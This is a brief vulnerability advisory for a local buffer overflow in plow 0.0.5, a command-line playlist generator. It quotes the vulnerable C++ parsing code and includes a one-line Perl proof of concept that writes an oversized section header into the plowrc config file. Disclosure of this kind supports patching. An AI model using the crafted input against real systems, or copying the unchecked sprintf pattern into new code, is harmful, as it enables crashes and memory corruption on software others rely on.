#################################################
plow 0.0.5 <= Buffer Overflow Vulnerability
#################################################
Discovered by: Jean Pascal Pereira <pereira () secbiz de>
Vendor information:
"plow is a command line playlist generator."
Vendor URI: http://developer.berlios.de/projects/plow/
#################################################
Risk-level: Medium
The application is prone to a local buffer overflow vulnerability.
-------------------------------------
IniParser.cpp, line 26:
26: char buffer[length];
27: char group [length];
28:
29: char *option;
30: char *value;
31:
32: while(ini.getline(buffer, length)) {
33: if(!strlen(buffer) || buffer[0] == '#') {
34: continue;
35: }
36: if(buffer[0] == '[') {
37: if(buffer[strlen(buffer) - 1] == ']') {
38: sprintf(group, "%s", buffer);
39: } else {
40: err = 1;
41: break;
42: }
43: }
-------------------------------------
Exploit / Proof Of Concept:
Create a crafted plowrc file:
perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc
-------------------------------------
Solution:
Do some input validation.
-------------------------------------
#################################################